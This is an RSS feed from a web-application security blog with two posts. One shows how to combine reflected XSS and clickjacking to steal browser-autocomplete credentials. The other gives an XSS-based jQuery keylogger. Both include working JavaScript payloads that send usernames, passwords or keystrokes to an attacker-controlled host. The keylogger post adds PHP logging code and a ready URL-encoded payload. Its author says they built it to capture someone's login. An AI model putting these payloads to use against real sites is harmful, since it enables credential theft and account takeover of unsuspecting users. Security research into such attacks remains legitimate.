<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web App Security &#187; XSS</title>
	<atom:link href="http://www.idontplaydarts.com/tag/xss/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.idontplaydarts.com</link>
	<description>PHP &#38; LAMP Stack Security</description>
	<lastBuildDate>Mon, 23 Jan 2012 09:54:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Clickjacking and XSS for reading autocomplete credentials.</title>
		<link>http://www.idontplaydarts.com/2011/10/clickjacking-and-xss-for-reading-autocomplete-credentials/</link>
		<comments>http://www.idontplaydarts.com/2011/10/clickjacking-and-xss-for-reading-autocomplete-credentials/#comments</comments>
		<pubDate>Tue, 25 Oct 2011 13:08:50 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Clickjacking]]></category>
		<category><![CDATA[Design Flaw]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=603</guid>
		<description><![CDATA[By combining Cross Site Scripting (XSS) with Clickjacking and JavaScript it is possible to extract passwords and data stored within the browsers Autocomplete cache. Autocomplete is a feature supported by all browsers to cache input field values &#8211; it can &#8230; <a href="http://www.idontplaydarts.com/2011/10/clickjacking-and-xss-for-reading-autocomplete-credentials/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">By combining Cross Site Scripting (XSS) with Clickjacking and JavaScript it is possible to extract passwords and data stored within the browsers Autocomplete cache.</p>
<p style="text-align: justify;"><a href="https://secure.wikimedia.org/wikipedia/en/wiki/Autocomplete" rel="nofollow">Autocomplete</a> is a feature supported by all browsers to cache input field values &#8211; it can also be used to save user credentials &#8211; for example the WordPress login interface has autocomplete enabled. Below is a cut down version of the WordPress login form:</p>
<div style="font-size:10pt;">
<pre class="brush: xml; title: ; notranslate">
&lt;form name=&quot;loginform&quot; id=&quot;loginform&quot; action=&quot;/wp-login.php&quot; method=&quot;post&quot;&gt;
   &lt;input type=&quot;text&quot; name=&quot;log&quot; id=&quot;user_login&quot; class=&quot;input&quot; value=&quot;&quot; /&gt;
   &lt;input type=&quot;password&quot; name=&quot;pwd&quot; id=&quot;user_pass&quot; class=&quot;input&quot; value=&quot;&quot; /&gt;
   &lt;input name=&quot;rememberme&quot; type=&quot;checkbox&quot; id=&quot;rememberme&quot; value=&quot;forever&quot; /&gt;
   &lt;input type=&quot;submit&quot; name=&quot;wp-submit&quot; id=&quot;wp-submit&quot; value=&quot;Log In&quot; /&gt;
   &lt;input type=&quot;hidden&quot; name=&quot;redirect_to&quot; value=&quot;&quot; /&gt;
   &lt;input type=&quot;hidden&quot; name=&quot;testcookie&quot; value=&quot;1&quot; /&gt;
&lt;/form&gt;
</pre>
</div>
<p style="text-align: justify;">In the ideal world of a hacker they could access this data using the <em>document.loginform.user_logon.value</em> property. This would be extremely useful as it would enable an attacker to harvest stored credentials using just a simple <a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" rel="nofollow">reflected XSS</a>. Sadly as a security feature JavaScript is unable to access the autocomplete input data and instead returns a null string unless the submit button has been pressed (<em>alert(document.loginform.user_logon.value)</em> will not work).</p>
<p style="text-align: justify;">In order to prevent autocomplete from caching the wrong credentials for the wrong domain the browser ties its autocomplete data by destination domain (what&#8217;s in the <em>action</em> parameter of your form tag), and by field name (the <em>name</em> of the text input box). This means an attacker can&#8217;t place a form on his own domain and hope its automatically completed with the users cached credentials. Autocomplete will however complete fields it recognises on the same domain regardless of their page. </p>
<p style="text-align: justify;">By using a combination of reflected XSS and <a href="http://www.idontplaydarts.com/2011/05/clickjacking-and-phishing-with-help-from-the-html5-javascript-sandbox/" title="Clickjacking and Phishing with help from the HTML5 JavaScript Sandbox">click-jacking</a> its possible to harvest the users credentials that are cached in autocomplete. The first step is to find a page on the same domain that is <a href="https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_%28OWASP-DV-001%29" rel="nofollow">vulnerable to XSS</a>. Once you&#8217;ve found a page you need to insert a new form into the page as follows:</p>
<div style="font-size:10pt;">
<pre class="brush: jscript; title: ; notranslate">
document.write(
'&lt;form name=&quot;loginform&quot; id=&quot;loginform&quot; action=&quot;&quot; method=&quot;post&quot;&gt;' +
'   &lt;input type=&quot;text&quot; name=&quot;log&quot; id=&quot;user_login&quot; /&gt;' +
'  &lt;input type=&quot;password&quot; name=&quot;pwd&quot; id=&quot;user_pass&quot; /&gt;' +
'  &lt;input type=&quot;submit&quot; name=&quot;wp-submit&quot; id=&quot;wp-submit&quot; value=&quot;Log In&quot; /&gt;' +
'&lt;/form&gt;'
);
</pre>
</div>
<p style="text-align: justify;">This will give you a form that gets filled with autocomplete data like so:</p>
<div id="attachment_627" class="wp-caption aligncenter" style="width: 610px"><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/10/Autocomplete-XSS11.png"><img src="http://www.idontplaydarts.com/wp-content/uploads/2011/10/Autocomplete-XSS11.png" alt="" title="Form inserted into page using XSS" width="600" height="161" class="size-full wp-image-627" /></a><p class="wp-caption-text">Form inserted into page using XSS</p></div>
<p style="text-align: justify;">As we cant directly access the values of the autocomplete data we need to convince the user to click on the submit button. All the time they can see our blatant XSS attack they are unlikely too. So next we make both the text fields disappear with a <em>style=&#8221;display:none&#8221;</em> attribute &#8211; we also remove the text from the login button.</p>
<p style="text-align: justify;">The page now looks like a normal page however with a tiny login button the chances of the user clicking on it are remote. The new page will look something like this:</p>
<div id="attachment_629" class="wp-caption aligncenter" style="width: 610px"><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/10/Autocomplete-XSS2.png"><img src="http://www.idontplaydarts.com/wp-content/uploads/2011/10/Autocomplete-XSS2.png" alt="" title="Input fields hidden using XSS" width="600" height="161" class="size-full wp-image-629" /></a><p class="wp-caption-text">Input fields hidden using XSS</p></div>
<p style="text-align: justify;">The next step is to increase the size of the login button using the following CSS style, this will make it take over the entire browser window and look slightly less suspicious.</p>
<div style="font-size:10pt;">
<pre class="brush: css; title: ; notranslate">
width:100%; height:100%; position:absolute; top:0; left:0; z-index:1000;
</pre>
</div>
<div id="attachment_630" class="wp-caption aligncenter" style="width: 610px"><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/10/Autocomplete-XSS3.png"><img src="http://www.idontplaydarts.com/wp-content/uploads/2011/10/Autocomplete-XSS3.png" alt="" title="Giant button over the entire page" width="600" height="161" class="size-full wp-image-630" /></a><p class="wp-caption-text">Giant button over the entire page</p></div>
<p style="text-align: justify;">Now we have a giant button taking over the entire site. However as it currently stands all that will happen when the user clicks on the giant button is that their credentials will be posted to the same domain. As we cant change the domain to which the form posts with out loosing the autocomplete data we need to add an onsubmit handler to our injected form. <strong>As long as the form submission is triggered with a mouse click the onsubmit JavaScript handler will be able to access to the <em>.value</em> properties of the text boxes</strong> &#8211; these can then be sent to a domain controlled by the attacker. To combat the fact that the page looks like a giant button we set its opacity to 0 which renders the button totally invisible.</p>
<div style="font-size:10pt;">
<pre class="brush: jscript; title: ; notranslate">
document.write(
'&lt;form action=&quot;&quot; method=&quot;get&quot; name=&quot;loginform&quot; style=&quot;width:100%; height:100%;&quot; onsubmit=&quot;doit();&quot;&gt;' +
' &lt;input type=&quot;text&quot; name=&quot;username&quot; style=&quot;display:none;&quot;/&gt;' +
' &lt;input type=&quot;password&quot; name=&quot;password&quot; style=&quot;display:none;&quot;/&gt;' +
' &lt;input type=&quot;submit&quot; name=&quot;login&quot; value=&quot;&quot; style=&quot;width:100%; height:100%; position:absolute; top:0; left:0; filter:alpha(opacity=0); opacity:0; color:#ffffff;&quot;/&gt;' +
'&lt;/form&gt;
');

function doit() {
 document.location = 'http://example.com/capture.php?user=' + document.loginform.username.value + '&amp;password=' + document.loginform.password.value;
}
</pre>
</div>
<p style="text-align: justify;">Now when they click anywhere on the page their click will be hijacked by the giant transparent button, their credentials will be forwarded to the domain controlled by the attacker and the attacker will gain control over the account. The use of Autocomplete for sensitive forms is a bad idea &#8211; I have no idea why its enabled for such a popular application such as WordPress.</p>
<p style="text-align: justify;">The attack described above is crude and not particularly sophisticated &#8211; with a little time and effort such an attack would be virtually undetectable by the end user.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/10/clickjacking-and-xss-for-reading-autocomplete-credentials/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascript keylogger in JQuery.</title>
		<link>http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/</link>
		<comments>http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/#comments</comments>
		<pubDate>Fri, 20 May 2011 14:13:12 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=385</guid>
		<description><![CDATA[I needed to capture someone&#8217;s login credentials using cross site scripting. However I had 3 problems. Firstly there was no XSS on the login page, secondly the only XSS was reflected, meaning it only affected the current page and thirdly &#8230; <a href="http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">I needed to capture someone&#8217;s login credentials using cross site scripting. However I had 3 problems. Firstly there was no XSS on the login page, secondly the only XSS was reflected, meaning it only affected the current page and thirdly the HTTPOnly flag was set on the session meaning I couldn&#8217;t hijack it.</p>
<p style="text-align: justify;">So I came up with a solution that turns reflected cross site scripting into a crude form of persistent XSS and records the users keystrokes to a remote server. The idea is that you embed some XSS code in a vulnerable page on the same domain as the login page. Its important that its on the same domain so that we can access the contents of the iframe and hook the keyboard input. If its not on the same domain then the browser won&#8217;t let you do this.</p>
<p style="text-align: justify;">The general architecture of the exploit looks something like this.</p>
<p><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/05/xss.png"><img class="aligncenter size-full wp-image-386" title="XSS Keylogger" src="/wp-content/uploads/2011/05/xss.png" alt="" width="522" height="302" /></a></p>
<p style="text-align: justify;">The page with XSS spawns an iframe that fills up the contents of the window and places it over the top of everything currently in the window. The src of the Iframe should be whatever page you want to capture keystrokes from. It then adds a hook to the contents of the iframe so that every time there is a keypress it polls back to a server controlled by the attacker.</p>
<p style="text-align: justify;">The great thing about using the Iframe is that the user can navigate away from the page and the keystroke logger will still be running as the src of the parent Iframe remains the same and it is the parent Iframe in which the key logger resides.</p>
<p style="text-align: justify;"><strong><em>The code:</em></strong><br />
I used JQuery as I wanted the Key logger to be cross browser compliant, if the site your targeting has JQuery already included then you wont have to embed jQuery and can avoid the script tags all together. I also included a time stamp when sending the keystroke to the remote server as occasionally the GET requests were arriving out of order &#8211; having a time stamp enables you to reassemble the keystrokes in the correct order server-side.</p>
<pre class="brush: jscript; title: ; notranslate">
&lt;script src=&quot;http://code.jquery.com/jquery-1.6.1.min.js&quot;&gt;&lt;/script&gt;
&lt;iframe src=&quot;/login.php&quot; id=&quot;w&quot; style=&quot;width:100%; height:100%; position:absolute; top:0; left:0; z-index:2; background-color:#ffffff;&quot; onload=&quot;$('#w').contents().keypress(function(event) {$.get('http://www.mysite.com/k.php?x='+event.which+'&amp;t='+event.timeStamp,function(data){});});&quot;&gt;&lt;/iframe&gt;
</pre>
<p style="text-align: justify;">You don&#8217;t even need server side code to do the logging, as long as you have access to your web server error logs you should be able to see all the keystrokes arriving as GET requests. If you did want more friendly server-side code it might look something like this:</p>
<pre class="brush: php; title: ; notranslate">
$f = fopen(&quot;/tmp/log.txt&quot;,&quot;a+&quot;);
fputs($f, $_SERVER['REMOTE_ADDR'] . &quot;\t&quot; . $_GET['t'] . &quot;\t&quot; . chr($_GET['x']) . &quot;\n&quot;);
fclose($f);
</pre>
<p style="text-align: justify;"><strong><em>Encoding the payload:</em></strong><br />
The full url encoded payload is shown below, both the initial Iframe src page and the destination script for the key strokes are marked in bold. Both will need to be changed if you are to use this.</p>
<blockquote><p>
%3Cscript+src%3D%22http%3A%2F%2Fcode.jquery.com%2Fjquery-1.6.1.min.js%22%3E%3C%2Fscript%3E%3Ciframe+src%3D%22<strong>%2Flogin.php</strong>%22+id%3D%22w%22+style%3D%22width%3A100%25%3B+height%3A100%25%3B+position%3Aabsolute%3B+top%3A0%3B+left%3A0%3B+z-index%3A2%3B+background-color%3A%23ffffff%3B%22+onload%3D%22%24%28%27%23w%27%29.contents%28%29.keypress%28function%28event%29+%7B%24.get%28%27http%3A%2F%2F<strong>www.mysite.com%2Fk.php</strong>%3Fx%3D%27%2Bevent.which%2B%27%26t%3D%27%2Bevent.timeStamp%2Cfunction%28data%29%7B%7D%29%3B%7D%29%3B%22%3E%3C%2Fiframe%3E
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

